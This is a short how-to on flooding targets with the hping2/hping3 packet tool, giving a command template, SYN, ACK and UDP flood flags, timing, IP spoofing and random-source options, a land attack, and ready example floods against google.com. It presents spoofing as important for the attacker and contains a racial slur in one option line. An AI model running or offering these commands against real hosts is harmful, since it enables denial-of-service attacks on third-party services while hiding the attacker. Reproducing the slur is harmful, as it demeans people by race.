Usage

Regardless of which Hping you get, the command to flood a target is as follows:

hping[2 or 3] [TARGET] -p [PORT] -i u30000 [PACKET TYPE] [OTHER OPTIONS]

[TARGET] can be a URL or IP address [PORT] is the target port [PACKET TYPE] can be

• -S for SYN
• -A for ACK
• -S -A for SYN/ACK

OTHER OPTIONS:

• --udp to send UDP packets
• -q to suppress output - might make it a little faster
• -c [NUMBER] to limit to a certain number of packets
• the -i u30000 tells it to send packets 30 milliseconds apart - this is about as fast as windows XP can take it; unix/mac systems might be able to go lower. (-flood niggers)
• -a [IP] to spoof your IP address: it goes without saying that this is important, although you obviously won't receive reply packets. A land attack uses the target IP address as the spoofed source IP address.
• --rand-source gives each packet you send a randomly generated spoof IP address.

Examples

SYN flood google.com's port 80

hping2 google.com -p 80 -i u30000 -S

UDP flood google.com:

hping3 google.com -p 80 -i u30000 --udp
